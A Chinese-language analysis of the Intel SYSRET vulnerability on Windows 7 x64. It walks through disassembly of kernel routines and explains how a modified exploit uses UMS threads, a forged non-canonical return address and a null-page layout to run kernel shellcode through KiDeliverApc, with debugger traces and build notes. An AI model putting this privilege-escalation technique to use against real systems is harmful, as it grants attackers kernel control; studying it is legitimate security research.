IntelSysret漏洞在WIN7X64下的实现分析

intel  sysret 漏洞在WIN7 X64下的实现分析。前半部分是网上现有的文章分析，后半部分为代码实现分析

1. 漏洞浅析
在x64系统上，最重要的48位虚拟地址将被用于地址转换，而此外48到63的任何虚拟地址必须是47位的副本。否则处理器会抛出异常：保护故障(GP)。

这会将虚拟地址分割位两个区块，如:
·         规范的高阶半区: 0xFFFFFF`FFFFFFFF       0xFFFF8000`00000000

·         规范的低阶半区: 0x00007FFF`FFFFFFFF   0x00000000`00000000

而所有这之间的地址都会被认为是不规范的。

SYSRET指令被用于传递返回到普通用户模式(user-mode)。它将RCX寄存器中的值复制到RIP寄存器中,并把Code Segment Selector位切换位普通用户模式(user-mode)。然而，RCX寄存器是一个通用寄存器，它可能包含的任何值，包括不规范的地址。并且SYSRET指令一旦抛出异常是不负责退栈切换回用户空间的，也不负责为GS寄存器做扫尾工作。这意味着，程序员在调用SYSRET指令前后都需要为GS,RSP,RBP做额外的处理。

而我们恰好发现intel的SYSRET指令实现中存在一个缺陷: 如果一个不规范的地址从RCX寄存器传递而抛出GP, 那么在CG,RBP和RSP返回普通用户模式(user-mode)前, 其ring0的权限不会被取缔(因为没有任何扫尾工作)。

2. MS windows中的漏洞触发

利用这个漏洞的关键是要抛出一个不规范的返回地址,而为了在MS Windows中触发这个漏洞,我们可以有以下的方式：

·         映射内存并在0x7FFF`FFFFFFFF位执行一个系统调用。这将返回一个不规范的地址。然而,由于Windows地址空间的限制,这个地址是不可达的,因此此路不通罗马。

·         寻找一个系统调用,并能手动改变返回地址。

关于后者，可借力于UMS(User-Mode Scheduling 用户模式计划程序)。
  ps: MSDN，UMS是一个轻量级的机制，应用程序可以用它来安排自己的线程。应用程序可以在用户模式下自由进行UMS线程间的切换而不必不涉及系统调度。

为了使用UMS线程，可以用CreateUmsCompletionList()函数创建一个的UMS调度列表。scheduler线程将被链接到此调度列表，而scheduler线程也将需要被创建(scheduler线程通过EnterUmsSchedulingMode()从普通线程晋升为UMS线程)。

如果UMS线程启动或阻塞，那么ExecuteUmsThread()函数需要被调用。如果没有, scheduler需要确定哪些线程将随后运行。它将排列调度列表，选择正确的线程。

EnterUmsSchedulingMode()函数是ntdll.dll中实现的。从汇编代码中,我们可以看到,它得到当前的UMS线程,完成链接调度列表,保存线程上下文(寄存器),然后调用RtlpUmsPrimaryContextWrap()函数。

1.    .text:0000000078F33A20 RtlEnterUmsSchedulingMode

2.    .text:0000000078F33A20

3.    .text:0000000078F33A20 arg_0 = qword ptr 8

4.    .text:0000000078F33A20 arg_8 = qword ptr 10h

5.    .text:0000000078F33A20 arg_10 = qword ptr 18h

6.    .text:0000000078F33A20

7.    .text:0000000078F33A20 mov [rsp+arg_8], rbx

8.    .text:0000000078F33A25 mov [rsp+arg_10], rsi

9.    .text:0000000078F33A2A push rdi

10.  .text:0000000078F33A2B sub rsp, 20h

11.  .text:0000000078F33A2F mov rsi, [rcx+8]

12.  .text:0000000078F33A33 mov rbx, [rcx+10h]

13.    [...]

14.  .text:0000000078F33A5D loc_78F33A5D:

15.  .text:0000000078F33A5D mov rdx, rsi

16.  .text:0000000078F33A60 xor ecx, ecx

17.  .text:0000000078F33A62 call RtlpAttachThreadToUmsCompletionList

18.  .text:0000000078F33A67 test eax, eax

19.  .text:0000000078F33A69 js short loc_78F33AA0

20.  .text:0000000078F33A6B lea rcx, [rsp+28h+arg_0]

21.  .text:0000000078F33A70 call RtlGetCurrentUmsThread

22.  .text:0000000078F33A75 test eax, eax

23.  .text:0000000078F33A77 js short loc_78F33A94

24.  .text:0000000078F33A79 mov rcx, [rsp+28h+arg_0]

25.  .text:0000000078F33A7E call RtlpSaveUmsdebugRegisterState

26.  .text:0000000078F33A83 test eax, eax

27.  .text:0000000078F33A85 js short loc_78F33A94

28.  .text:0000000078F33A87 mov rdx, rdi

29.  .text:0000000078F33A8A mov rcx, rbx

30.  .text:0000000078F33A8D call RtlpUmsPrimaryContextWrap

31.  .text:0000000078F33A92 jmp short $+2

RtlpUmsPrimaryContextWrap()函数负责调用scheduler并保存线程信息在一个结构中(ps:这是一个非文档化的结构)，通过反汇编我们可以知道此结构为:
  RSP
  RBP
  返回地址

1.    .text:0000000078EA03F0 RtlpUmsPrimaryContextWrap

2.    .text:0000000078EA03F0

3.    .text:0000000078EA03F0 var_108 = xmmword ptr -108h

4.    .text:0000000078EA03F0 var_F8 = xmmword ptr -0F8h

5.    .text:0000000078EA03F0 var_E8 = xmmword ptr -0E8h

6.    .text:0000000078EA03F0 var_D8 = xmmword ptr -0D8h

7.    .text:0000000078EA03F0 var_C8 = xmmword ptr -0C8h

8.    .text:0000000078EA03F0 var_38 = byte ptr -38h

9.      [...]

10.  .text:0000000078EA0452 mov [rax+30h], r15

11.  .text:0000000078EA0456 mov r10, gs:14A0h

12.  .text:0000000078EA045F lea r10, [r10+10h]

13.  .text:0000000078EA0463 lea r11, loc_78EA0493

14.  .text:0000000078EA046A mov [r10+0D0h], rcx             //这里将被HOOK

15.  .text:0000000078EA0471 mov [r10+0A0h], rbp

16.  .text:0000000078EA0478 mov [r10+98h], rsp

17.  .text:0000000078EA047F mov [r10+0F8h], r11              // saved return

18.  .text:0000000078EA0486 mov r12, 0

19.  .text:0000000078EA048D xor r13, r13

20.  .text:0000000078EA0490 mov r14, rdx

21.  .text:0000000078EA0493

22.  .text:0000000078EA0493 loc_78EA0493:

23.  .text:0000000078EA0493 mov r10, gs:14A0h

24.  .text:0000000078EA049C lea r10, [r10+10h]

25.  .text:0000000078EA04A0 mov r11, [r10+0D0h]           // scheduler func

26.  .text:0000000078EA04A7 mov rcx, r12

27.  .text:0000000078EA04AA mov rdx, r13

28.  .text:0000000078EA04AD mov r8, r14

29.  .text:0000000078EA04B0 call r11                                   // calls the scheduler function

30.  .text:0000000078EA04B3 lea rcx, [rsp+138h+var_38]

31.  .text:0000000078EA04BB movaps xmm6, [rsp+138h+var_108]

32.  .text:0000000078EA04C0 movaps xmm7, [rsp+138h+var_F8]

如果我们调试内核，在Ntoskrnl.exe的KeBuildPrimaryThreadContext()函数处设置bp，我们可以看到0x00000000`78EA0493被保存为返回到用户空间的地址。

1.    PAGE:FFFFF80002C5A070 KeBuildPrimaryThreadContext

2.    PAGE:FFFFF80002C5A070

3.    PAGE:FFFFF80002C5A070 arg_0 = qword ptr 8

4.    PAGE:FFFFF80002C5A070 arg_20 = qword ptr 28h

5.    PAGE:FFFFF80002C5A070 arg_28 = qword ptr 30h

6.    PAGE:FFFFF80002C5A070

7.    PAGE:FFFFF80002C5A070 mov [rsp+arg_0], rbx

8.    PAGE:FFFFF80002C5A075 movsxd rbx, r9d

9.    PAGE:FFFFF80002C5A078 mov r9, rdx

10.  PAGE:FFFFF80002C5A07B xor r10d, r10d

11.  PAGE:FFFFF80002C5A07E mov rax, [rcx+1B8h]

12.  PAGE:FFFFF80002C5A085 mov r11, [rax]

13.  PAGE:FFFFF80002C5A088 cmp r8, r10

14.  PAGE:FFFFF80002C5A08B jz loc_FFFFF80002C5A168

15.  [...]

16.  PAGE:FFFFF80002C5A168 loc_FFFFF80002C5A168:

17.  PAGE:FFFFF80002C5A168 mov rdx, [rdx+50h]

18.  PAGE:FFFFF80002C5A16C mov rcx, [r9+58h]

19.  PAGE:FFFFF80002C5A170 mov rax, [r11+108h]

20.  PAGE:FFFFF80002C5A177 mov [rdx+168h], rax               // saved RIP

21.  PAGE:FFFFF80002C5A17E mov rax, [r11+0A8h]

22.  PAGE:FFFFF80002C5A185 mov [rdx+180h], rax

23.  PAGE:FFFFF80002C5A18C mov rax, [r11+0B0h]

24.  PAGE:FFFFF80002C5A193 mov [rdx+158h], rax

25.  PAGE:FFFFF80002C5A19A mov eax, 33h ; '3'

26.  PAGE:FFFFF80002C5A19F mov [rdx+170h], ax

27.  PAGE:FFFFF80002C5A1A6 mov eax, 2Bh ; '+'

28.  PAGE:FFFFF80002C5A1AB mov [rdx+188h], ax

我们的想法是在ExecuteUmsThread()调用前破坏这个地址为非规范地址。而在用户态的scheduler中，返回地址保存在: GS:[0x14a0] + 0x10 + 0x1F处。

内核调度结束后，ntoskrnl.exe中的KiUmsFastReturnToUser()函数被调用。在调用SYSRET指令前, RSP, RBP和GS将会被重置为他们之前保存的副本，返回用户态的地址也被移入RCX寄存器。

1.    .text:FFFFF800028DD440 KiUmsFastReturnToUser

2.    .text:FFFFF800028DD440

3.    .text:FFFFF800028DD440 var_5046 = dword ptr -5046h

4.    .text:FFFFF800028DD440 var_4FA6 = byte ptr -4FA6h

5.    .text:FFFFF800028DD440 arg_42 = byte ptr 52h

6.    .text:FFFFF800028DD440 arg_80 = byte ptr 88h

7.    .text:FFFFF800028DD440 arg_190 = dword ptr 198h

8.    .text:FFFFF800028DD440

9.    .text:FFFFF800028DD440 sub rsp, 28h

10.  .text:FFFFF800028DD444 mov rbx, gs:+188h

11.  .text:FFFFF800028DD44D mov rcx, [rbx+1D8h]

12.  .text:FFFFF800028DD454 lea rbp, [rcx+80h]

13.  .text:FFFFF800028DD45B mov rax, cr8

14.    [...]

15.  .text:FFFFF800028DD596 loc_FFFFF800028DD596:

16.  .text:FFFFF800028DD596 mov r8, [rbp+100h]                  // saved RSP

17.  .text:FFFFF800028DD59D mov r9, [rbp+0D8h]                 // saved RBP

18.  .text:FFFFF800028DD5A4 xor edx, edx

19.  .text:FFFFF800028DD5A6 pxor xmm0, xmm0

20.  .text:FFFFF800028DD5AA pxor xmm1, xmm1

21.  .text:FFFFF800028DD5AE pxor xmm2, xmm2

22.  .text:FFFFF800028DD5B2 pxor xmm3, xmm3

23.  .text:FFFFF800028DD5B6 pxor xmm4, xmm4

24.  .text:FFFFF800028DD5BA pxor xmm5, xmm5

25.  .text:FFFFF800028DD5BE mov rcx, [rbp+0E8h]               // saved ret address

26.  .text:FFFFF800028DD5C5 mov r11, [rbp+0F8h]

27.  .text:FFFFF800028DD5CC mov rbp, r9

28.  .text:FFFFF800028DD5CF mov rsp, r8

29.  .text:FFFFF800028DD5D2 swapgs                                    // switch GS to user

30.  .text:FFFFF800028DD5D5 sysret

31.  .text:FFFFF800028DD5D8 db 66h, 66h, 66h, 66h, 66h, 66h

32.  .text:FFFFF800028DD5D8 nop word ptr [rax+rax+00000000h]

33.  .text:FFFFF800028DD5E7 db 66h, 66h, 66h, 66h, 66h, 66h

但是，如果此时RCX是不规范的，那么GP异常将在特权模式下被抛出。

3. Windows 7 & Windows 2008 R2 x64下的利用

GP异常抛出时，RSP和RBP可控，GS指向用户态，PFH(protection fault handler)则被指向KiGeneralProtectionFault()函数

一种利用此漏洞的方式，是利用已控的RBP和RBP。因为KiGeneralProtectionFault()将会把值写入堆栈，且堆栈也是可控的。基于这些我们可以试试write-4 techniques。

ps: write-4 techniques - http://immunityinc.com/infiltrate/archives/kernelpool_infiltrate2011.pdf

1.    .text:FFFFF800028DBAC0 KiGeneralProtectionFault

2.    .text:FFFFF800028DBAC0

3.    .text:FFFFF800028DBAC0 var_12D = byte ptr -12Dh

4.    .text:FFFFF800028DBAC0 var_12C = dword ptr -12Ch

5.    .text:FFFFF800028DBAC0 var_128 = qword ptr -128h

6.    .text:FFFFF800028DBAC0 var_120 = qword ptr -120h

7.    .text:FFFFF800028DBAC0 var_118 = qword ptr -118h

8.    .text:FFFFF800028DBAC0 var_110 = qword ptr -110h

9.    .text:FFFFF800028DBAC0 var_108 = qword ptr -108h

10.  .text:FFFFF800028DBAC0 var_100 = qword ptr -100h

11.  .text:FFFFF800028DBAC0 var_F8 = qword ptr -0F8h

12.  .text:FFFFF800028DBAC0 var_E8 = xmmword ptr -0E8h

13.  .text:FFFFF800028DBAC0 var_D8 = xmmword ptr -0D8h

14.  .text:FFFFF800028DBAC0 var_C8 = xmmword ptr -0C8h

15.  .text:FFFFF800028DBAC0 var_B8 = xmmword ptr -0B8h

16.  .text:FFFFF800028DBAC0 var_A8 = xmmword ptr -0A8h

17.  .text:FFFFF800028DBAC0 var_98 = xmmword ptr -98h

18.  .text:FFFFF800028DBAC0 var_58 = word ptr -58h

19.  .text:FFFFF800028DBAC0 arg_0 = qword ptr 10h

20.  .text:FFFFF800028DBAC0 arg_8 = byte ptr 18h

21.  .text:FFFFF800028DBAC0 arg_10 = qword ptr 20h

22.  .text:FFFFF800028DBAC0 arg_24 = dword ptr 34h

23.  .text:FFFFF800028DBAC0

24.  .text:FFFFF800028DB600 push rbp

25.  .text:FFFFF800028DB601 sub rsp, 158h

26.  .text:FFFFF800028DB608 lea rbp, [rsp+80h]

27.  .text:FFFFF800028DB610 mov [rbp+0D8h+var_12D], 1

28.  .text:FFFFF800028DB614 mov [rbp+0D8h+var_128], rax

29.  .text:FFFFF800028DB618 mov [rbp+0D8h+var_120], rcx

30.  .text:FFFFF800028DB61C mov [rbp+0D8h+var_118], rdx

31.  .text:FFFFF800028DB620 mov [rbp+0D8h+var_110], r8

32.  .text:FFFFF800028DB624 mov [rbp+0D8h+var_108], r9

33.  .text:FFFFF800028DB628 mov [rbp+0D8h+var_100], r10

34.  .text:FFFFF800028DB62C mov [rbp+0D8h+var_F8], r11

35.  .text:FFFFF800028DB630 test [rbp+0D8h+arg_8], 1

36.  .text:FFFFF800028DB637 jz short loc_FFFFF800028DB65A

37.  .text:FFFFF800028DB639 swapgs

38.  .text:FFFFF800028DB63C mov r10, gs:188h

39.  .text:FFFFF800028DB645 test byte ptr [r10+3], 3

40.  .text:FFFFF800028DB64A mov [rbp+0D8h+var_58], 0

然而，因为目标内存周围数据已被破坏，这使得此exp方法不可靠。

一个更好的方法是利用指向用户空间的GS。我们的思路是，欺骗内核调用GS中索引的函数。这种功能可以触发页错误处理程序(所有这一切需要做的是产生此异常)。

1.    .text:FFFFF800028DB65A cld

2.    .text:FFFFF800028DB65B stmxcsr [rbp+0D8h+var_12C]

3.    .text:FFFFF800028DB65F ldmxcsr dword ptr gs:180h

4.    .text:FFFFF800028DB668 movaps [rbp+0D8h+var_E8], xmm0

5.    .text:FFFFF800028DB66C movaps [rbp+0D8h+var_D8], xmm1

6.    .text:FFFFF800028DB670 movaps [rbp+0D8h+var_C8], xmm2

7.    .text:FFFFF800028DB674 movaps [rbp+0D8h+var_B8], xmm3

8.    .text:FFFFF800028DB678 movaps [rbp+0D8h+var_A8], xmm4

9.    .text:FFFFF800028DB67C movaps [rbp+0D8h+var_98], xmm5

10.  .text:FFFFF800028DB680 mov eax, [rbp+0E0h]

11.  .text:FFFFF800028DB686 test [rbp+0D8h+arg_10], 200h

12.  .text:FFFFF800028DB691 jz short loc_FFFFF800028DB694

13.  .text:FFFFF800028DB693 sti

14.  .text:FFFFF800028DB694 loc_FFFFF800028DB694:

15.  .text:FFFFF800028DB694 mov r10, [rbp+0D8h+arg_0]

16.  .text:FFFFF800028DB69B mov r9, cr4

17.  .text:FFFFF800028DB69F mov r8, cr0

18.  .text:FFFFF800028DB6A3 mov edx, 8

19.  .text:FFFFF800028DB6A8 mov ecx, 7Fh

20.  .text:FFFFF800028DB6AD call KiBugCheckDisPatch

此函数叫做 KeBugCheckEx()

1.    .text:FFFFF800028DD180 KiBugCheckDispatch

2.    .text:FFFFF800028DD180

3.    .text:FFFFF800028DD180 var_118= qword ptr -118h

4.    .text:FFFFF800028DD180 var_108= xmmword ptr -108h

5.    .text:FFFFF800028DD180 var_F8= xmmword ptr -0F8h

6.    .text:FFFFF800028DD180 var_E8= xmmword ptr -0E8h

7.    .text:FFFFF800028DD180 var_D8= xmmword ptr -0D8h

8.    .text:FFFFF800028DD180 var_C8= xmmword ptr -0C8h

9.    .text:FFFFF800028DD180 var_38= byte ptr -38h

10.  .text:FFFFF800028DD180

11.  .text:FFFFF800028DD180 sub rsp, 138h

12.  .text:FFFFF800028DD187 lea rax, [rsp+138h+var_38]

13.  .text:FFFFF800028DD18F movaps [rsp+138h+var_108], xmm6

14.  .text:FFFFF800028DD194 movaps [rsp+138h+var_F8], xmm7

15.  .text:FFFFF800028DD199 movaps [rsp+138h+var_E8], xmm8

16.    [...]

17.  .text:FFFFF800028DD1D3 mov [rax+20h], r13

18.  .text:FFFFF800028DD1D7 mov [rax+28h], r14

19.  .text:FFFFF800028DD1DB mov [rax+30h], r15

20.  .text:FFFFF800028DD1DF mov [rsp+138h+var_118], r10

21.  .text:FFFFF800028DD1E4 call KeBugCheckEx

22.  .text:FFFFF800028DD1E4 KiBugCheckDispatch endp

KeBugCheckEx()函数需要将控制状态寄存器保存到GS索引的一个内存结构。

1.    .text:FFFFF800028DDC40 KeBugCheckEx

2.    .text:FFFFF800028DDC40

3.    .text:FFFFF800028DDC40 var_18= qword ptr -18h

4.    .text:FFFFF800028DDC40 var_10= qword ptr -10h

5.    .text:FFFFF800028DDC40 var_8= qword ptr -8

6.    .text:FFFFF800028DDC40 arg_0= qword ptr 8

7.    .text:FFFFF800028DDC40 arg_8= qword ptr 10h

8.    .text:FFFFF800028DDC40 arg_10= qword ptr 18h

9.    .text:FFFFF800028DDC40 arg_18= qword ptr 20h

10.  .text:FFFFF800028DDC40 arg_20= qword ptr 28h

11.  .text:FFFFF800028DDC40 arg_28= byte ptr 30h

12.  .text:FFFFF800028DDC40

13.  .text:FFFFF800028DDC40 mov [rsp+arg_0], rcx

14.  .text:FFFFF800028DDC45 mov [rsp+arg_8], rdx

15.  .text:FFFFF800028DDC4A mov [rsp+arg_10], r8

16.  .text:FFFFF800028DDC4F mov [rsp+arg_18], r9

17.  .text:FFFFF800028DDC54 pushfq

18.  .text:FFFFF800028DDC55 sub rsp, 30h

19.  .text:FFFFF800028DDC59 cli

20.  .text:FFFFF800028DDC5A mov rcx, gs:20h

21.  .text:FFFFF800028DDC63 mov rcx, [rcx+4BD8h]

22.  .text:FFFFF800028DDC6A call RtlCaptureContext

23.  .text:FFFFF800028DDC6F mov rcx, gs:20h

24.  .text:FFFFF800028DDC78 add rcx, 40h

25.  .text:FFFFF800028DDC7C call KiSaveProcessorControlState

26.  .text:FFFFF800028DDC81 mov r10, gs:20h

27.  .text:FFFFF800028DDC8A mov r10, [r10+4BD8h]

28.  .text:FFFFF800028DDC91 mov rax, [rsp+38h+arg_0]

29.  .text:FFFFF800028DDC96 mov [r10+80h], rax

30.  .text:FFFFF800028DDC9D mov rax, [rsp+38h+var_8]

KeSaveProcessorControlState()函数将尝试把cr0寄存器的内容保存在GS:0x20处。

1.    .text:FFFFF800028DDF70 KiSaveProcessorControlState

2.    .text:FFFFF800028DDF70 mov rax, cr0

3.    .text:FFFFF800028DDF73 mov [rcx], rax

4.    .text:FFFFF800028DDF76 mov rax, cr2

5.    .text:FFFFF800028DDF79 mov [rcx+8], rax

6.    .text:FFFFF800028DDF7D mov rax, cr3

7.    .text:FFFFF800028DDF80 mov [rcx+10h], rax

8.    .text:FFFFF800028DDF84 mov rax, cr4

这可以被用来抛出一个页错误:

如果一个诸如0x54545454`54545454的值被存储在GS:0x20，那么页错误将被触发。

在页错误处理程序中，我们的目标在于达到KiCheckForKernelApcDelivery()函数。它主要包括设置一个有效的指针GS:0x188(初始设置为0)。

1.    .text:FFFFF800028DBC00 KiPageFault

2.    .text:FFFFF800028DBC00

3.    .text:FFFFF800028DBC00 var_158= dword ptr -158h

4.    .text:FFFFF800028DBC00 var_138= dword ptr -138h

5.    .text:FFFFF800028DBC00 var_12E= byte ptr -12Eh

6.    .text:FFFFF800028DBC00 var_12D= byte ptr -12Dh

7.    .text:FFFFF800028DBC00 var_12C= dword ptr -12Ch

8.    .text:FFFFF800028DBC00 var_128= qword ptr -128h

9.      [...]

10.  .text:FFFFF800028DBC00 push rbp

11.  .text:FFFFF800028DBC01 sub rsp, 158h

12.  .text:FFFFF800028DBC08 lea rbp, [rsp+80h]

13.  .text:FFFFF800028DBC10 mov [rbp+0D8h+var_12D], 1

14.  .text:FFFFF800028DBC14 mov [rbp+0D8h+var_128], rax

15.  .text:FFFFF800028DBC18 mov [rbp+0D8h+var_120], rcx

16.  .text:FFFFF800028DBC1C mov [rbp+0D8h+var_118], rdx

17.  .text:FFFFF800028DBC20 mov [rbp+0D8h+var_110], r8

18.  .text:FFFFF800028DBC24 mov [rbp+0D8h+var_108], r9

19.  .text:FFFFF800028DBC28 mov [rbp+0D8h+var_100], r10

20.  .text:FFFFF800028DBC2C mov [rbp+0D8h+var_F8], r11

21.  .text:FFFFF800028DBC30 test byte ptr [rbp+0D8h+arg_8], 1

22.  .text:FFFFF800028DBC37 jz short loc_FFFFF800028DBCAD

23.  .text:FFFFF800028DBC39 swapgs

24.  .text:FFFFF800028DBC3C mov r10, gs:188h

25.  .text:FFFFF800028DBC45 cmp [rbp+0D8h+arg_8], 33h ; '3'

26.    [...]

27.  .text:FFFFF800028DBCAD loc_FFFFF800028DBCAD:

28.  ; KiPageFault+A6 j

29.  .text:FFFFF800028DBCAD cld

30.  .text:FFFFF800028DBCAE stmxcsr [rbp+0D8h+var_12C]

31.  .text:FFFFF800028DBCB2 ldmxcsr dword ptr gs:180h

32.  .text:FFFFF800028DBCBB movaps [rbp+0D8h+var_E8], xmm0

33.  .text:FFFFF800028DBCBF movaps [rbp+0D8h+var_D8], xmm1

34.  .text:FFFFF800028DBCC3 movaps [rbp+0D8h+var_C8], xmm2

35.  .text:FFFFF800028DBCC7 movaps [rbp+0D8h+var_B8], xmm3

36.  .text:FFFFF800028DBCCB movaps [rbp+0D8h+var_A8], xmm4

37.  .text:FFFFF800028DBCCF movaps [rbp+0D8h+var_98], xmm5

38.  .text:FFFFF800028DBCD3 mov eax, cs:KiCodePatchCycle

39.  .text:FFFFF800028DBCD9 mov [rbp+0D8h+arg_24], eax

40.  .text:FFFFF800028DBCDF mov eax, [rbp+0E0h]

41.  .text:FFFFF800028DBCE5 mov rcx, cr2

42.  .text:FFFFF800028DBCE8 test [rbp+0D8h+arg_10], 200h

43.  .text:FFFFF800028DBCF3 jz short loc_FFFFF800028DBCF6

44.  .text:FFFFF800028DBCF5 sti

45.    [...]

46.  .text:FFFFF800028DBCF6 loc_FFFFF800028DBCF6:

47.  .text:FFFFF800028DBCF6 mov r9, gs:188h

48.  .text:FFFFF800028DBCFF bt dword ptr [r9+4Ch], 0Bh

49.  .text:FFFFF800028DBD05 jnb short loc_FFFFF800028DBD15

50.  .text:FFFFF800028DBD07 test byte ptr [rbp+0F0h], 1

51.    [...]

52.  .text:FFFFF800028EACF2 loc_FFFFF800028EACF2:

53.  .text:FFFFF800028EACF2 mov r12, gs:188h

54.  .text:FFFFF800028EACFB mov [rbp+0D0h+var_78], rdi

55.  .text:FFFFF800028EACFF mov rcx, [r12+70h]

56.  .text:FFFFF800028EAD04 mov [rbp+0D0h+var_98], rcx

57.  .text:FFFFF800028EAD08 cmp dword ptr [rcx+438h], 10h

58.  .text:FFFFF800028EAD0F lea r14, [rcx+398h]

59.  .text:FFFFF800028EAD16 ja loc_FFFFF800028EB0E2

60.  .text:FFFFF800028EAD1C mov eax, cs:MiDelayPageFaults

61.  .text:FFFFF800028EAD22 test eax, eax

62.    [...]

63.  .text:FFFFF800028EC79C loc_FFFFF800028EC79C:

64.  .text:FFFFF800028EC79C call KiCheckForKernelApcDelivery

65.  .text:FFFFF800028EC7A1 jmp loc_FFFFF800028EAF75

KiCheckForKernelApcDelivery()函数调用的KiDeliverApc()：

1.    .text:FFFFF8000288AF10 KiCheckForKernelApcDelivery

2.    .text:FFFFF8000288AF10 push rbx

3.    .text:FFFFF8000288AF12 sub rsp, 20h

4.    .text:FFFFF8000288AF16 mov rax, cr8

5.    .text:FFFFF8000288AF1A mov ecx, 1

6.    .text:FFFFF8000288AF1F test al, al

7.    .text:FFFFF8000288AF21 jnz short loc_FFFFF8000288AF3F

8.    .text:FFFFF8000288AF23 xor ebx, ebx

9.    .text:FFFFF8000288AF25 mov cr8, rcx

10.  .text:FFFFF8000288AF29 xor r8d, r8d

11.  .text:FFFFF8000288AF2C xor edx, edx

12.  .text:FFFFF8000288AF2E xor ecx, ecx

13.  .text:FFFFF8000288AF30 call KiDeliverApc

14.  .text:FFFFF8000288AF35 mov cr8, rbx

这是一个实现代码执行的函数。它将提取GS:0x188中的指针，并在一系列解引用操作后设置R11寄存器，而R11寄存器用来调用另一个函数。

1.    .text:FFFFF800028D1130 KiDeliverApc

2.    .text:FFFFF800028D1130

3.    .text:FFFFF800028D1130 var_78= dword ptr -78h

4.    .text:FFFFF800028D1130 var_58= qword ptr -58h

5.    .text:FFFFF800028D1130 var_50= qword ptr -50h

6.    .text:FFFFF800028D1130 var_48= qword ptr -48h

7.    .text:FFFFF800028D1130 var_40= qword ptr -40h

8.    .text:FFFFF800028D1130 arg_0= qword ptr 8

9.      [...]

10.  .text:FFFFF800028D115B loc_FFFFF800028D115B:

11.  .text:FFFFF800028D115B mov rbx, gs:188h

12.  .text:FFFFF800028D1164 mov r15, [rbx+1D8h]

13.  .text:FFFFF800028D116B mov r14, [rbx+70h]

14.  .text:FFFFF800028D116F mov [rbx+79h], r9b

15.  .text:FFFFF800028D1173 mov [rbx+1D8h], r8

16.  .text:FFFFF800028D117A cmp [rbx+1C6h], r9w

17.  .text:FFFFF800028D1182 jnz short loc_FFFFF800028D11A8

18.  .text:FFFFF800028D1184 lock or [rsp+78h+var_78], r9d

19.  .text:FFFFF800028D1189 lfence

20.  .text:FFFFF800028D118C lea rsi, [rbx+50h]

21.    [...]

22.  .text:FFFFF800028D11EC loc_FFFFF800028D11EC:

23.  .text:FFFFF800028D11EC mov r8, [rsi]

24.  .text:FFFFF800028D11EF cmp r8, rsi

25.  .text:FFFFF800028D11F2 jz loc_FFFFF800029296C7

26.  .text:FFFFF800028D11F8 mov [rbx+79h], r9b

27.  .text:FFFFF800028D11FC lea r10, [r8-10h]

28.  .text:FFFFF800028D1200 prefetchw byte ptr [r10]

29.  .text:FFFFF800028D1204 mov rcx, [r10+30h]

30.  .text:FFFFF800028D1208 mov r11, [r10+20h]

31.  .text:FFFFF800028D120C mov [rsp+78h+arg_10], rcx

32.  .text:FFFFF800028D1214 mov rax, [r10+38h]

33.    [...]

34.  .text:FFFFF800028D12B0 loc_FFFFF800028D12B0:

35.  .text:FFFFF800028D12B0 mov rax, [r8+8]

36.  .text:FFFFF800028D12B4 mov rdx, [r8]

37.  .text:FFFFF800028D12B7 mov [rax], rdx

38.  .text:FFFFF800028D12BA mov [rdx+8], rax

39.  .text:FFFFF800028D12BE mov [r10+52h], r9b

40.  .text:FFFFF800028D12C2 lock and [rbx+88h], r9

41.  .text:FFFFF800028D12CA movzx eax, r12b

42.  .text:FFFFF800028D12CE mov cr8, rax

43.  .text:FFFFF800028D12D2 lea rax, [rsp+78h+arg_18]

44.  .text:FFFFF800028D12DA lea r9, [rsp+78h+var_48]

45.  .text:FFFFF800028D12DF lea r8, [rsp+78h+var_40]

46.  .text:FFFFF800028D12E4 lea rdx, [rsp+78h+arg_10]

47.  .text:FFFFF800028D12EC mov rcx, r10

48.  .text:FFFFF800028D12EF mov [rsp+78h+var_58], rax

49.  .text:FFFFF800028D12F4 call r11

50.  .text:FFFFF800028D12F7 xor r9d, r9d

51.  .text:FFFFF800028D12FA jmp loc_FFFFF800028D1190

而如果R11寄存器指向一个内核shellcode并且内核调用它，则我们的shellcode就能可靠运行了。

下面我结合代码进行下简单的说明。

上面说了一大通东西，其实关键就是

1，  挂钩特殊函数使其产生本无法产生的特殊非规范地址，并使指令跳到这个特殊非规范地址从而触发系统异常。

2，  系统发生异常时候，通过设置一些特定的数据跳转，跳转到我们想要的地方。也就是最关键的函数

nt!KiDeliverApc，大家看代码的时候，需要结合标红的字段就可以理解SHELLCODE的布局了。

触发这个异常的时候，gs:188指向的是我们分配的0地址，所以

mov rbx, gs:188h  rbx =0

lea rsi, [rbx+50h]  rsi =0x50

mov r8, [rsi]   r8 =0

lea r10, [r8-10h] r10 = -10h

mov r11, [r10+20h] r11 = 0x10

call r11  call的是我们分配地址0+0x10的地方。

也就是代码里

*(PLONGLONG)((ULONG_PTR)0L+0x10) =  KernelShellcodeAddress;

的精华所在，其他的大家看代码也就清楚了。

说明的是：

原始的老外代码是VS2010 编译的，我修改为最常用的VS2008 编译，同时修改了些小BUG。

代码调试可以调试到

断点nt!KiUmsFastReturnToUser

Breakpoint 5 hit

nt!KiUmsFastReturnToUser+0x17e:

fffff800`0428907e 488b8de8000000  mov     rcx,qword ptr [rbp+0E8h] //构造的异常返回地址

2: kd> p

nt!KiUmsFastReturnToUser+0x185:

fffff800`04289085 4c8b9df8000000  mov     r11,qword ptr [rbp+0F8h]

2: kd> p

nt!KiUmsFastReturnToUser+0x18c:

fffff800`0428908c 498be9          mov     rbp,r9

2: kd> r

rax=0000000000000000 rbx=fffffa800fa0fb60 rcx=8000000000000000(构造的异常返回地址)

rdx=0000000000000000 rsi=0000000076f8edc0 rdi=0000000000000000

rip=fffff8000428908c rsp=fffff880097d2bb0 rbp=fffff880097d2c60

r8=00000000002ff6e0  r9=00000000002ff6e0 r10=0000000000000000

r11=0000000000010246 r12=0000000000000001 r13=0000000000000001

r14=0000000000000000 r15=00000000771e84f0

iopl=0         nv up di pl zr na po nc

cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000046

nt!KiUmsFastReturnToUser+0x18c:

fffff800`0428908c 498be9          mov     rbp,r9

后面SYSRET 触发异常后，不能对在异常处理的代码下断点，否则会触发蓝屏。

还有masm64New.rules文件拷贝到你的X:\Program Files\Microsoft Visual Studio 9.0\VC\VCProjectDefaults，X为你VC2008所在的盘。然后就可以调试即可。

代码里面也比较简单

1，  不是WIN764 位就退出

2，  UMS函数初始化失败也退出。

